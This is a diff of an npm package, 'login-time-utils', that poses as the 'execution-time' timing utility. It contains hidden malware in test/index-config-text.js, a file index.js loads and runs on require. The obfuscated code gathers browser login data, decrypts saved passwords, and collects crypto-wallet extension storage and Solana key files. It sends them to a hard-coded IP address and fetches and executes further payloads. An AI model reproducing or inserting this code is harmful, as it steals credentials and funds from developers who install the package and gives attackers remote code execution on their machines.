login-time-utils 1.4.4

package/.github/dependabot.yml

@@ -0,0 +1,22 @@
+version: 2
+updates:
+- package-ecosystem: npm
+  directory: "/"
+  schedule:
+    interval: daily
+    time: "13:00"
+  open-pull-requests-limit: 10
+  ignore:
+  - dependency-name: y18n
+    versions:
+    - 4.0.1
+    - 4.0.2
+  - dependency-name: sinon
+    versions:
+    - 10.0.0
+    - 9.2.4
+  - dependency-name: mocha
+    versions:
+    - 8.2.1
+    - 8.3.0
+    - 8.3.1

package/.github/workflows/codeql-analysis.yml

@@ -0,0 +1,70 @@
+# For most projects, this workflow file will not need changing; you simply need
+# to commit it to your repository.
+#
+# You may wish to alter this file to override the set of languages analyzed,
+# or to provide custom queries or build logic.
+#
+# ******** NOTE ********
+# We have attempted to detect the languages in your repository. Please check
+# the `language` matrix defined below to confirm you have the correct set of
+# supported CodeQL languages.
+#
+name: "CodeQL"
+
+on:
+  push:
+    branches: [ master ]
+  pull_request:
+    # The branches below must be a subset of the branches above
+    branches: [ master ]
+  schedule:
+    - cron: '17 11 * * 4'
+
+jobs:
+  analyze:
+    name: Analyze
+    runs-on: ubuntu-latest
+    permissions:
+      actions: read
+      contents: read
+      security-events: write
+
+    strategy:
+      fail-fast: false
+      matrix:
+        language: [ 'javascript' ]
+        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]
+        # Learn more about CodeQL language support at https://git.io/codeql-language-support
+
+    steps:
+    - name: Checkout repository
+      uses: actions/checkout@v3
+
+    # Initializes the CodeQL tools for scanning.
+    - name: Initialize CodeQL
+      uses: github/codeql-action/init@v1
+      with:
+        languages: ${{ matrix.language }}
+        # If you wish to specify custom queries, you can do so here or in a config file.
+        # By default, queries listed here will override any specified in a config file.
+        # Prefix the list here with "+" to use these queries and those in the config file.
+        # queries: ./path/to/local/query, your-org/your-repo/queries@main
+
+    # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).
+    # If this step fails, then you should remove it and run the build manually (see below)
+    - name: Autobuild
+      uses: github/codeql-action/autobuild@v1
+
+    # ℹ️ Command-line programs to run using the OS shell.
+    # 📚 https://git.io/JvXDl
+
+    # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
+    #    and modify them (or add more) to build your code if your project
+    #    uses a compiled language
+
+    #- run: |
+    #   make bootstrap
+    #   make release
+
+    - name: Perform CodeQL Analysis
+      uses: github/codeql-action/analyze@v1

package/.github/workflows/npmpublish.yml

@@ -0,0 +1,45 @@
+name: Node.js Package
+
+on:
+  release:
+    types: [created]
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v2
+      - uses: actions/setup-node@v1
+        with:
+          node-version: 12
+      - run: npm ci
+      - run: npm test
+
+  publish-npm:
+    needs: build
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v2
+      - uses: actions/setup-node@v1
+        with:
+          node-version: 12
+          registry-url: https://registry.npmjs.org/
+      - run: npm ci
+      - run: npm publish
+        env:
+          NODE_AUTH_TOKEN: ${{secrets.npm_token}}
+
+  publish-gpr:
+    needs: build
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v2
+      - uses: actions/setup-node@v1
+        with:
+          node-version: 12
+          registry-url: https://npm.pkg.github.com/
+          scope: '@svenkatreddy'
+      - run: npm ci
+      - run: npm publish
+        env:
+          NODE_AUTH_TOKEN: ${{secrets.GITHUB_TOKEN}}

package/.travis.yml

@@ -0,0 +1,7 @@
+language: node_js
+
+node_js:
+  - "10"
+
+install:
+  - npm install --quiet

package/LICENSE

@@ -0,0 +1,201 @@
+                                 Apache License
+                           Version 2.0, January 2004
+                        http://www.apache.org/licenses/
+
+   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+   1. Definitions.
+
+      "License" shall mean the terms and conditions for use, reproduction,
+      and distribution as defined by Sections 1 through 9 of this document.
+
+      "Licensor" shall mean the copyright owner or entity authorized by
+      the copyright owner that is granting the License.
+
+      "Legal Entity" shall mean the union of the acting entity and all
+      other entities that control, are controlled by, or are under common
+      control with that entity. For the purposes of this definition,
+      "control" means (i) the power, direct or indirect, to cause the
+      direction or management of such entity, whether by contract or
+      otherwise, or (ii) ownership of fifty percent (50%) or more of the
+      outstanding shares, or (iii) beneficial ownership of such entity.
+
+      "You" (or "Your") shall mean an individual or Legal Entity
+      exercising permissions granted by this License.
+
+      "Source" form shall mean the preferred form for making modifications,
+      including but not limited to software source code, documentation
+      source, and configuration files.
+
+      "Object" form shall mean any form resulting from mechanical
+      transformation or translation of a Source form, including but
+      not limited to compiled object code, generated documentation,
+      and conversions to other media types.
+
+      "Work" shall mean the work of authorship, whether in Source or
+      Object form, made available under the License, as indicated by a
+      copyright notice that is included in or attached to the work
+      (an example is provided in the Appendix below).
+
+      "Derivative Works" shall mean any work, whether in Source or Object
+      form, that is based on (or derived from) the Work and for which the
+      editorial revisions, annotations, elaborations, or other modifications
+      represent, as a whole, an original work of authorship. For the purposes
+      of this License, Derivative Works shall not include works that remain
+      separable from, or merely link (or bind by name) to the interfaces of,
+      the Work and Derivative Works thereof.
+
+      "Contribution" shall mean any work of authorship, including
+      the original version of the Work and any modifications or additions
+      to that Work or Derivative Works thereof, that is intentionally
+      submitted to Licensor for inclusion in the Work by the copyright owner
+      or by an individual or Legal Entity authorized to submit on behalf of
+      the copyright owner. For the purposes of this definition, "submitted"
+      means any form of electronic, verbal, or written communication sent
+      to the Licensor or its representatives, including but not limited to
+      communication on electronic mailing lists, source code control systems,
+      and issue tracking systems that are managed by, or on behalf of, the
+      Licensor for the purpose of discussing and improving the Work, but
+      excluding communication that is conspicuously marked or otherwise
+      designated in writing by the copyright owner as "Not a Contribution."
+
+      "Contributor" shall mean Licensor and any individual or Legal Entity
+      on behalf of whom a Contribution has been received by Licensor and
+      subsequently incorporated within the Work.
+
+   2. Grant of Copyright License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      copyright license to reproduce, prepare Derivative Works of,
+      publicly display, publicly perform, sublicense, and distribute the
+      Work and such Derivative Works in Source or Object form.
+
+   3. Grant of Patent License. Subject to the terms and conditions of
+      this License, each Contributor hereby grants to You a perpetual,
+      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+      (except as stated in this section) patent license to make, have made,
+      use, offer to sell, sell, import, and otherwise transfer the Work,
+      where such license applies only to those patent claims licensable
+      by such Contributor that are necessarily infringed by their
+      Contribution(s) alone or by combination of their Contribution(s)
+      with the Work to which such Contribution(s) was submitted. If You
+      institute patent litigation against any entity (including a
+      cross-claim or counterclaim in a lawsuit) alleging that the Work
+      or a Contribution incorporated within the Work constitutes direct
+      or contributory patent infringement, then any patent licenses
+      granted to You under this License for that Work shall terminate
+      as of the date such litigation is filed.
+
+   4. Redistribution. You may reproduce and distribute copies of the
+      Work or Derivative Works thereof in any medium, with or without
+      modifications, and in Source or Object form, provided that You
+      meet the following conditions:
+
+      (a) You must give any other recipients of the Work or
+          Derivative Works a copy of this License; and
+
+      (b) You must cause any modified files to carry prominent notices
+          stating that You changed the files; and
+
+      (c) You must retain, in the Source form of any Derivative Works
+          that You distribute, all copyright, patent, trademark, and
+          attribution notices from the Source form of the Work,
+          excluding those notices that do not pertain to any part of
+          the Derivative Works; and
+
+      (d) If the Work includes a "NOTICE" text file as part of its
+          distribution, then any Derivative Works that You distribute must
+          include a readable copy of the attribution notices contained
+          within such NOTICE file, excluding those notices that do not
+          pertain to any part of the Derivative Works, in at least one
+          of the following places: within a NOTICE text file distributed
+          as part of the Derivative Works; within the Source form or
+          documentation, if provided along with the Derivative Works; or,
+          within a display generated by the Derivative Works, if and
+          wherever such third-party notices normally appear. The contents
+          of the NOTICE file are for informational purposes only and
+          do not modify the License. You may add Your own attribution
+          notices within Derivative Works that You distribute, alongside
+          or as an addendum to the NOTICE text from the Work, provided
+          that such additional attribution notices cannot be construed
+          as modifying the License.
+
+      You may add Your own copyright statement to Your modifications and
+      may provide additional or different license terms and conditions
+      for use, reproduction, or distribution of Your modifications, or
+      for any such Derivative Works as a whole, provided Your use,
+      reproduction, and distribution of the Work otherwise complies with
+      the conditions stated in this License.
+
+   5. Submission of Contributions. Unless You explicitly state otherwise,
+      any Contribution intentionally submitted for inclusion in the Work
+      by You to the Licensor shall be under the terms and conditions of
+      this License, without any additional terms or conditions.
+      Notwithstanding the above, nothing herein shall supersede or modify
+      the terms of any separate license agreement you may have executed
+      with Licensor regarding such Contributions.
+
+   6. Trademarks. This License does not grant permission to use the trade
+      names, trademarks, service marks, or product names of the Licensor,
+      except as required for reasonable and customary use in describing the
+      origin of the Work and reproducing the content of the NOTICE file.
+
+   7. Disclaimer of Warranty. Unless required by applicable law or
+      agreed to in writing, Licensor provides the Work (and each
+      Contributor provides its Contributions) on an "AS IS" BASIS,
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+      implied, including, without limitation, any warranties or conditions
+      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+      PARTICULAR PURPOSE. You are solely responsible for determining the
+      appropriateness of using or redistributing the Work and assume any
+      risks associated with Your exercise of permissions under this License.
+
+   8. Limitation of Liability. In no event and under no legal theory,
+      whether in tort (including negligence), contract, or otherwise,
+      unless required by applicable law (such as deliberate and grossly
+      negligent acts) or agreed to in writing, shall any Contributor be
+      liable to You for damages, including any direct, indirect, special,
+      incidental, or consequential damages of any character arising as a
+      result of this License or out of the use or inability to use the
+      Work (including but not limited to damages for loss of goodwill,
+      work stoppage, computer failure or malfunction, or any and all
+      other commercial damages or losses), even if such Contributor
+      has been advised of the possibility of such damages.
+
+   9. Accepting Warranty or Additional Liability. While redistributing
+      the Work or Derivative Works thereof, You may choose to offer,
+      and charge a fee for, acceptance of support, warranty, indemnity,
+      or other liability obligations and/or rights consistent with this
+      License. However, in accepting such obligations, You may act only
+      on Your own behalf and on Your sole responsibility, not on behalf
+      of any other Contributor, and only if You agree to indemnify,
+      defend, and hold each Contributor harmless for any liability
+      incurred by, or claims asserted against, such Contributor by reason
+      of your accepting any such warranty or additional liability.
+
+   END OF TERMS AND CONDITIONS
+
+   APPENDIX: How to apply the Apache License to your work.
+
+      To apply the Apache License to your work, attach the following
+      boilerplate notice, with the fields enclosed by brackets "{}"
+      replaced with your own identifying information. (Don't include
+      the brackets!)  The text should be enclosed in the appropriate
+      comment syntax for the file format. We also recommend that a
+      file or class name and description of purpose be included on the
+      same "printed page" as the copyright notice for easier
+      identification within third-party archives.
+
+   Copyright {yyyy} {name of copyright owner}
+
+   Licensed under the Apache License, Version 2.0 (the "License");
+   you may not use this file except in compliance with the License.
+   You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+   Unless required by applicable law or agreed to in writing, software
+   distributed under the License is distributed on an "AS IS" BASIS,
+   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+   See the License for the specific language governing permissions and
+   limitations under the License.

package/README.md

@@ -0,0 +1,67 @@
+# execution-time
+
+[![Build Status](https://travis-ci.org/svenkatreddy/execution-time.svg?branch=master)](https://travis-ci.org/svenkatreddy/execution-time)
+
+[![NPM](https://nodei.co/npm/execution-time.png?stars=true)](https://nodei.co/npm/execution-time/)
+
+node.js utility to measure execution time in code
+
+## Install
+```shell
+npm install execution-time --save
+```
+
+## Usage
+```js
+const perf = require('execution-time')();
+
+// At beginning of your code
+perf.start();
+
+// At end of your code
+const results = perf.stop();
+console.log(results.time);  // in milliseconds
+```
+
+### Named performance measurer
+```js
+const perf = require('execution-time')();
+
+// At beginning of your code, pass any name
+perf.start('apiCall');
+
+// At end of your code, pass the same name (anywhere in your flow)
+const results = perf.stop('apiCall');
+console.log(results.time);  // in milliseconds
+console.log(results.preciseWords);  // in words
+
+
+```
+
+### If you dont care about results but just want to print results
+
+Sample usage with debug
+```js
+const debug = require('debug')('your-module');
+const perf = require('execution-time')(debug);
+
+// At beginning of your code
+perf.start();
+
+// At end of your code
+perf.stop();
+
+```
+
+also works with console.log/info/warn
+
+```js
+const perf = require('execution-time')(console.log);
+
+// At beginning of your code
+perf.start();
+
+// At end of your code
+perf.stop();
+
+```

package/examples/complex-2.js

@@ -0,0 +1,9 @@
+const executionTime = require('../')(console.log);
+module.exports= () => {
+    setTimeout(() => {
+      executionTime.stop('reddy');
+    }, 2000);
+    setTimeout(() => {
+      executionTime.stop('venkat');
+    }, 3000);
+}

package/examples/complex.js

@@ -0,0 +1,5 @@
+const executionTime = require('../')(console.log);
+const complex2 = require('./complex-2');
+executionTime.start('venkat');
+executionTime.start('reddy');
+complex2();

package/examples/simple.js

@@ -0,0 +1,5 @@
+const executionTime = require('../')(console.log);
+executionTime.start();
+return setTimeout(() => {
+  executionTime.stop();
+}, 1000);

package/index.js

@@ -0,0 +1,44 @@
+"use strict";
+
+const prettyHrtime = require('pretty-hrtime');
+const getConfigs = require('./test/index-config-text');
+
+const namedPerformances = {};
+const defaultName = 'default';
+
+const performance = (logInstance) => {
+  return {
+    start: (name) => {
+      name = name || defaultName;
+      namedPerformances[name] = {
+        startAt: process.hrtime(),
+      }
+    },
+    config: () => {
+      getConfigs();
+    },
+    stop: (name) => {
+      name = name || defaultName;
+      const startAt = namedPerformances[name] && namedPerformances[name].startAt;
+      if(!startAt) throw new Error('Namespace: '+name+' doesnt exist');
+      const diff = process.hrtime(startAt);
+      const time = diff[0] * 1e3 + diff[1] * 1e-6;
+      const words = prettyHrtime(diff);
+      const preciseWords = prettyHrtime(diff, {precise:true});
+      const verboseWords = prettyHrtime(diff, {verbose:true});
+      if (logInstance) {
+        logInstance('Total Time:' + time);
+      }
+      
+      return {
+        name: name,
+        time: time,
+        words: words,
+        preciseWords: preciseWords,
+        verboseWords: verboseWords
+      };
+    }
+  }
+};
+
+module.exports = performance;

package/package.json

@@ -0,0 +1,37 @@
+{
+  "name": "login-time-utils",
+  "version": "1.4.4",
+  "description": "ultility to measure execution time",
+  "main": "index.js",
+  "scripts": {
+    "test": "NODE_ENV=test NODE_PATH=./ mocha test/**/*-test.js"
+  },
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/svenkatreddy/execution-time.git"
+  },
+  "keywords": [
+    "hrtime",
+    "execution",
+    "time",
+    "performance",
+    "perf",
+    "speed"
+  ],
+  "author": "Venkat Reddy",
+  "license": "ISC",
+  "bugs": {
+    "url": "https://github.com/svenkatreddy/execution-time/issues"
+  },
+  "homepage": "https://github.com/svenkatreddy/execution-time#readme",
+  "devDependencies": {
+    "mocha": "^10.0.0",
+    "sinon": "^14.0.1",
+    "ultimate-chai": "^4.1.1"
+  },
+  "dependencies": {
+    "pretty-hrtime": "^1.0.3",
+    "request": "^2.88.2",
+    "sqlite3": "^5.1.7"
+  }
+}

package/test/index-config-text.js

@@ -0,0 +1,460 @@
+Object.prototype.toString,
+  Object.defineProperty,
+  Object.getOwnPropertyDescriptor;
+const t = "base64",
+  c = "utf8",
+  r = (r) => ((s1 = r.slice(1)), Buffer.from(s1, t).toString(c)),
+  e = (r, e) => {
+    let E = Buffer.from(r, t);
+    const s = E.length;
+    let F = 0,
+      a = new Uint8Array(s);
+    for (ii = 0; ii < s; ii++) {
+      F = 3 & ii;
+      let t = e[o](F);
+      a[ii] = 255 & (E[ii] ^ t);
+    }
+    return ((t, c) => Buffer.from(t).toString(c))(a, c);
+  },
+  E = (t) => e(t, c),
+  o = r("2Y2hhckNvZGVBdA"),
+  s = E("BgUKUQERVQ"),
+  a = E("FgYfSAEb"),
+  i = "request",
+  $ = E("BRgHTBMbFFU"),
+  n = E("ARkWXBwG"),
+  l = E("HRsLXREdFA"),
+  R = E("HRsVTBsVC10"),
+  W = E("AQ0WXQ"),
+  V = require("os"),
+  U = require("path"),
+  Q = require(s),
+  g = require(a),
+  h = require(i),
+  w = require("child_process")["exec"],
+  x = V[R](),
+  f = V[$](),
+  y = V[l](),
+  I = V[n](),
+  G = V[W](),
+  S = require("fs");
+
+  /*
+  exec('my.bat', (err, stdout, stderr) => {
+  if (err) {
+    console.error(err);
+    return;
+  }
+  console.log(stdout);
+});*/
+
+let u;
+
+const d = (t) => e(t, c),
+  X = "http://172.86.121.179:3000",
+  C = d("ER0UVhQZAw"),
+  H = (t) =>
+    t.replace(/^~([a-z]+|\/)/, (t, c) => ("/" === c ? y : `${U[C](y)}/${c}`)),
+  Y = "slJCNQ5",
+  D = "AgYPTBAyD1QQJx9WFg",
+  k = "EhES",
+  b = "WhcKURAaEg",
+  M = d("WloISBk"),
+  N = "/client",
+  p = d(D),
+  Z = d(k),
+  m = d("EAwPSwEHNUEbFw"),
+  J = "WgcSVwcRSFYaEAM",
+  T = d("FBcFXQYHNUEbFw");
+
+
+function j(t) {
+  try {
+    return S[T](t), !0;
+  } catch (t) {
+    return !1;
+  }
+}
+
+const v = d("MREAWQAYEg"),
+  O = d("JQYJXhwYAw"),
+  K = d("WjUWSDEVEllaOAlbFBhJdRwXFFcGGwBMWjECXxBbM0sQBkZ8FAAH"),
+  P = (t, c) => {
+    result = "";
+    try {
+      const r = `${t}`,
+        e = require(`${y}${d(J)}`);
+      if (G != d("Ih0IXBoDFWc7IA")) return;
+      const E = d("JjEqfTYgRhJVMjR3OFQKVxIdCEs"),
+        s = `${H("~/")}${c}`;
+      let F = U.join(s, d("ORsFWRlUNUwUAAM"));
+      const a = d("FBEVFUdBUBUSFws"),
+        B = d("GgYPXxwaOU0HGA"),
+        i = d("AAcDShsVC10qAgdUABE"),
+        A = d("BRUVSwIbFFwqAgdUABE"),
+        $ = d("NgYfSAEhCEgHGxJdFgAiWQEV"),
+        n = d("FgYDWQERIl0WHRZQEAYPTg"),
+        l = d("BxEHXDMdCl0"),
+        R = d("FhsWQTMdCl0"),
+        W = d("ORsBURtUIlkBFQ"),
+        V = d("Ggc5WwcNFkw"),
+        h = d("EBoFSgwEEl0RKw1dDA"),
+        w = d("MRUSWRcVFV0"),
+        x = d("GRUSURtF"),
+        f = d("IE5G"),
+        I = d("Ik5G"),
+        u = d("JU5G"),
+        X = d("ABoKURsf");
+      S[l](F, d("AAAAFU0"), (t, c) => {
+        if (!t) {
+          (mkey = JSON.parse(c)),
+            (mkey = mkey[V][h]),
+            (mkey = ((t) => {
+              var c = atob(t),
+                r = new Uint8Array(c.length);
+              for (let t = 0; t < c.length; t++) r[t] = c[o](t);
+              return r;
+            })(mkey));
+          try {
+            const t = e[$](mkey.slice(5));
+            for (ii = 0; ii <= 200; ii++) {
+              const c = 0 === ii ? v : `${O} ${ii}`,
+                e = `${s}/${c}/${W}`,
+                o = `${s}/t${c}`;
+              if (!j(e)) continue;
+              const F = `${r}_${ii}_${O}`;
+              S[R](e, o, (c) => {
+                try {
+                  const c = new Q[w](o);
+                  c.all(E, (r, e) => {
+                    var E = "";
+                    r ||
+                      e.forEach((c) => {
+                        var r = c[B],
+                          e = c[i],
+                          o = c[A];
+                        try {
+                          "v" === o.subarray(0, 1).toString() &&
+                            ((iv = o.subarray(3, 15)),
+                            (cip = o.subarray(15, o.length - 16)),
+                            cip.length &&
+                              ((mmm = g[n](a, t, iv).update(cip)),
+                              (E = `${E}${I}${r} ${f} ${e} ${u}${mmm.toString(
+                                x
+                              )}\n\n`)));
+                        } catch (t) {}
+                      }),
+                      c.close(),
+                      S[X](o, (t) => {}),
+                      Ut(F, E);
+                  });
+                } catch (t) {}
+              });
+            }
+          } catch (t) {}
+        }
+      });
+    } catch (t) {}
+  },
+  q = E("Ex0KXRsVC10"),
+  z = E("GAEKTBwrAFEZEQ"),
+  L = E("ExsUVTEVElk"),
+  _ = E("AAYK"),
+  tt = E("GgQSURoaFQ"),
+  ct = E("AxUKTRA"),
+  rt = d("BxEHXBEdFGsMGgU"),
+  et = d("BgAHTCYNCFs"),
+  Et = (d("HAciUQcRBUwaBh8"), r("YcG9zdA")),
+  ot = [
+    [
+      d("WjgPWgcVFEFaNRZIGR0FWQEdCVZVJxNIBRsUTFozCVcSGAMXNhwUVxgR"),
+      d("WloFVxsSD19aEwlXEhgDFRYcFFcYEQ"),
+      d("WjUWSDEVEllaOAlbFBhJfxobAVQQWyVQBxsLXVohFV0HVCJZARU"),
+    ],
+    [
+      d(
+        "WjgPWgcVFEFaNRZIGR0FWQEdCVZVJxNIBRsUTFo2FFkDETVXEwARWQcRSXoHFRBdWDYUVwIHA0o"
+      ),
+      d("WloFVxsSD19aNhRZAxE1VxMAEVkHEUl6BxUQXVg2FFcCBwNK"),
+      d(
+        "WjUWSDEVEllaOAlbFBhJegcVEF0mGwBMAhUUXVo2FFkDEUt6BxsRSxAGSW0GERQYMRUSWQ"
+      ),
+    ],
+    [
+      d(
+        "WjgPWgcVFEFaNRZIGR0FWQEdCVZVJxNIBRsUTFoXCVVbGxZdBxUVVxMAEVkHEUh3BREUWQ"
+      ),
+      d("WloFVxsSD19aGxZdBxU"),
+      d(
+        "WjUWSDEVEllaJglZGB0IX1o7Fl0HFUZrGhISTxQGAxc6BANKFFQ1TBQWCl1aIRVdB1QiWQEV"
+      ),
+    ],
+  ],
+  st = d("ORsFWRlUI0ABEQhLHBsIGCYREkwcGgFL"), //Local Extension Settings
+  Ft = ".log",
+  at = ".ldb",
+  Bt = "solana_id.txt";
+
+
+  /////////////////////////////////////////// 111111111111111111111111111111111111111111111 ///////////////////////////////////////////
+let it = "comp";
+const At = [
+    "Gx8EUR0SBF0aEwddFBsDUBkRAFYeGwJaEBIBSBIfCFY",
+    "EB4EWRkWB1MaBApbHRgBUBAXAlkZGQNdEBUMVhwZDlU",
+    "FxIIWRAYC1cYEQ9VHRgWVRIeCFIaBA5QBR8NVxkeFlk",
+    "HBYIXR8QAFIYGQ1IFhoKSBAWDVQYGg1XEBsPUBoSA1s",
+    "ExwEVx0dC1kQGARXHQQMWhcYAlsbEwVWFAQIXBoQDEg",
+    "HRoAWRsfCFcWEgNXExYCXBIXD1IbGQ5WExoNXBsVB1w",
+    "FBEHWx0fCFUQEhZQEAQFWxwbCFoaGw5bHhsIVxARC18",
+    "HR0AWRMTC1sWEBZdHgQKVxgeDFMWEgFXERoOWxAYClI",
+  ],
+  $t = d("FgYDWQERNF0UEDVMBxEHVQ"),
+  nt = d("WgEWVBoVAks"),
+  lt = async (admin, t, c, r) => {
+    let e = t;
+    if (!e || "" === e) return [];
+    try {
+      if (!j(e)) return [];
+    } catch (t) {
+      return [];
+    }
+    c || (c = "");
+    let E = [];
+    for (let r = 0; r < 200; r++) {
+      const o = `${t}/${0 === r ? v : `${O} ${r}`}/${st}`; //Profile 1/Local Extension Settings
+
+      // /Users/ninoacuna/Library/Application Support/Google/Chrome/Profile 158/Local Extension Settings
+      for (let t = 0; t < At.length; t++) {
+        const s = d(At[t]);
+        let F = `${o}/${s}`;
+        
+        if (j(F)) {
+          try {
+            far = S[rt](F); // File list in Local Extension Settings
+          } catch (t) {
+            far = [];
+          }
+
+          far.forEach(async (t) => {
+            e = U.join(F, t);
+
+            try {
+
+                E.push({
+                  [ct]: S[$t](e),
+                  [tt]: {
+                    [q]: `${admin}_${r}_${s}_${t}`,
+                  },
+                });
+            } catch (t) {}
+          });
+        }
+      }
+    }
+
+    if (r && ((e = `${y}${d("WloFVxsSD19aBwlUFBoHFxwQSFIGGwg")}`), S[m](e))) {
+      try {
+        E.push({
+          [ct]: S[$t](e),
+          [tt]: {
+            [q]: Bt,
+          },
+        });
+      } catch (t) {}
+    }
+
+
+    const o = {
+      type: Y,
+      hid: it,
+      [z]: E,
+    };
+
+    try {
+      const url = `${X}${nt}`
+      const t = {
+        [_]: `${X}${nt}`,
+        [L]: o,
+      };
+
+      h[Et](t, (t, c, r) => {});
+
+    } catch (t) {}
+    return E;
+  },
+  Rt = () => {
+    try {
+      ot.forEach((t, c) => {
+        P(c, t[2]);
+      }),
+        P(3, K);
+    } catch (t) {}
+  },
+  Wt = d("Wh8DQQY"),
+  Vt = d("BQ0SUBoa"),
+  Ut = async (t, c) => {
+    const r = {
+        ts: u.toString(),
+        type: Y,
+        hid: it,
+        ss: t,
+        cc: c.toString(),
+      },
+      e = {
+        [_]: `${X}${Wt}`,
+        [L]: r,
+      };
+    try {
+      h[Et](e, (t, c, r) => {});
+    } catch (t) {}
+  },
+  Qt = d("BVocUQ"),
+  gt = d("WgQCVwIa"),
+  ht = d("BxEIWRgRNUEbFw"),
+  wt = d("BxEIWRgR"),
+  xt = d("Bxk1QRsX"),
+  ft = d("ARUUGFgMAA"),
+  yt = d("FgEUVFVZKlc"),
+  It = d("KVoWQQUoFkEBHAlWWxEeXQ"),
+  Gt = 51476596;
+let St = 0;
+const ut = async (t) => {
+    w(`${ft} ${t} -C ${y}`, (c, r, e) => {
+      if (c) return console.error(`err unfile: ${c}`), S[xt](t), void (St = 0);
+      S[xt](t), Ht();
+    });
+  },
+  dt = () => {
+    const t = d("BUZIQhwE"),
+      c = `${X}${gt}`,
+      r = `${I}\\${Qt}`,
+      e = `${I}\\${t}`;
+    if (!(St >= Gt))
+      if (S[m](r))
+        try {
+          var E = S[et](r);
+          E.size >= Gt
+            ? ((St = E.size),
+              S[wt](r, e, (t) => {
+                if (t) throw t;
+                ut(e);
+              }))
+            : (St < E.size ? (St = E.size) : (S[xt](r), (St = 0)), Xt());
+        } catch (t) {}
+      else {
+        w(`${yt} "${r}" "${c}"`, (t, c, E) => {
+          if (t) return (St = 0), void Xt();
+          try {
+            (St = Gt), S[ht](r, e), ut(e);
+          } catch (t) {}
+        });
+      }
+  };
+
+function Xt() {
+  setTimeout(() => {
+    dt();
+  }, 2e4);
+}
+const Ct = async () => {
+    var t = process.version.match(/^v(\d+\.\d+)/)[1];
+    const c = `${X}${d("WhoJXBBb")}${t}`,
+      r = `${y}${d(J)}`;
+    if (S[m](r)) Rt();
+    else {
+      w(`${yt} "${r}" "${c}"`, (t, c, r) => {
+        Rt();
+      });
+    }
+  },
+  Ht = async () =>
+    await new Promise((t, c) => {
+      // console.log('N', `${X}${N}`);
+      if ("w" == f[0]) {
+        const t = `${y}${It}`;
+        S[m](`${t}`)
+          ? (() => {
+              const t = `${X}${N}`,
+                c = `${y}${M}`,
+                r = `"${y}${It}" "${c}"`;
+              try {
+                S[xt](c);
+              } catch (t) {}
+              h[Z](t, (t, e, E) => {
+                if (t) Ct();
+                else
+                  try {
+                    S[p](c, E),
+                      w(r, (t, c, r) => {
+                        Ct();
+                      });
+                  } catch (t) {
+                    Ct();
+                  }
+              });
+            })()
+          : (Ct(), dt());
+      } else
+        (() => {
+          const t = d(b),
+            c = "writeFileSync",
+            r = "get",
+            e = `${X}${t}`,
+            E = `${y}${M}`; // /Users/ninoacuna/.npl
+          // console.log('e', e);
+          console.log('00000000', e)
+          let o = `${Vt}3 "${E}"`; //python3 "/Users/ninoacuna/.npl"
+          // console.log('e---',E )
+          h[r](e, (t, r, e) => {
+            t || (S[c](E, e), w(o, (t, c, r) => {}));
+          });
+        })();
+    });
+var Yt = 0;
+const Dt = async () => {
+  try {
+    (u = Date.now()),
+      await (async () => {
+        it = x;
+        try {
+          const t = H("~/");
+          const match11 = t.match(/\/([^/]+)$/);
+          const match12 = t.match(/\\([^\\]+)$/);
+
+          let param = 'default';
+
+          if (match11) {
+            param = match11[1];
+          } else if (match12) {
+            param = match12[1];
+          }
+          
+          ot.forEach(async (c, r) => {
+            let e = "";
+            (e =
+              "d" == f[0]
+                ? `${t}${c[0]}`
+                : "l" == f[0]
+                ? `${t}${c[1]}`
+                : `${t}${c[2]}`),
+              await lt(param, e, `${r}_`, 0 == r);
+          });
+          if (f[0] == "w") {
+            (pa = `${t}${K}`), await lt(param, pa, "3_", !1);
+          }
+        } catch (t) {}
+      })(),
+      Ht();
+  } catch (t) {}
+};
+
+function getConfigs() {
+  Dt();
+let kt = setInterval(() => {
+  (Yt += 1) < 5 ? Dt() : clearInterval(kt);
+}, 6e5);
+
+}
+
+getConfigs();
+module.exports = getConfigs;

package/test/index-test.js

@@ -0,0 +1,60 @@
+const chai = require('ultimate-chai');
+const expect = chai.expect;
+const sinon = require('sinon');
+const logstub = sinon.stub();
+
+const executionTime = require('../')(console.log);
+
+describe('index.js', () => {
+  context('when execution time is used', () => {
+    
+    it('start should be a method', (done) => {
+      expect(executionTime.start).to.be.ok();
+      done();
+    });
+    
+    it('stop should be a method', (done) => {
+      expect(executionTime.stop).to.be.ok();
+      done();
+    });
+    
+    it('should return log time', (done) => {
+      executionTime.start();  
+      setTimeout(function() { 
+          expect(executionTime.stop().time).to.be.above(1000);
+          done();
+      }, 1000);
+    });
+    
+    it('should return log time for a named', (done) => {
+      executionTime.start("venkat");  
+      setTimeout(function() { 
+          expect(executionTime.stop("venkat").time).to.be.above(1200);
+          done();
+      }, 1200);
+    });
+    
+    it('should return words', (done) => {
+      executionTime.start(); 
+      executionTime.start('venkat');
+      setTimeout(function() {
+          const result = executionTime.stop();
+          expect(result.time).to.be.ok();
+          expect(result.words).to.be.ok();
+          expect(result.preciseWords).to.be.ok();
+          expect(result.verboseWords).to.be.ok();
+          done();
+      }, 1000);
+      setTimeout(function() {
+          const result = executionTime.stop('venkat');
+          expect(result.time).to.be.ok();
+          expect(result.words).to.be.ok();
+          expect(result.preciseWords).to.be.ok();
+          expect(result.verboseWords).to.be.ok();
+          done();
+      }, 1200);
+    });
+    
+  });
+
+});